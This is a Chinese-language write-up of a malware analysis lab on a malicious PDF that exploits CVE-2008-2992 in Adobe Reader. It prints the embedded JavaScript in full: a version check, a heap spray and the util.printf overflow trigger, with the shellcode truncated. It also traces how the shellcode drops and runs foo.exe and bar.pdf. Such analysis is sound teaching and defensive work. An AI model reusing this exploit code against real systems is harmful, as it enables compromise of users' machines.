恶意代码分析实战 — Lab 19-03

使用pdfstreamdumper工具加载pdf,对11个objects查看,在第9个看到JS代码

点击Exploit Scan查看漏洞情况,存在CVE-2008-2992漏洞,与Adobe Reader的util.printf有关,出现在stream:9位置处,是一个缓冲区溢出漏洞

Javascript代码使用unescape函数,%u编码

查看JS代码,基本功能为检查pdf版本,使用堆喷射技术,通过util.printf触发进行缓冲区溢出攻击

var payload = unescape("%ue589%uec81...%u9090");
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 &amp;&amp; version < 9) {
    var payload;
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) {
        bigblock+=bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);
    while(block.length+spray < 0x40000) {
        block = block+block+fillblock;
    }
    mem = new Array();
    for (i=0;i<1400;i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888...;
    util.printf("E000f",num);
} else {
    app.alert("Unknown PDF version!");
}

使用scdbg查看

命令scdbg -f *.bin -fopen *.pdf -i

可以看到在临时文件夹下创建了foo.exe和bar.pdf,并执行打开bar.pdf文件

Idapro载入.bin文件,首先调用sub_17B

跳转,首先调用sub_CA,此函数是获取kernel32.dll基地址

Sub_7E是计算函数hash

shell32入栈作为LoadLibrary参数

可以看到foo.exe文件创建

之后还有bar.pdf创建和open操作等

您可能还喜欢...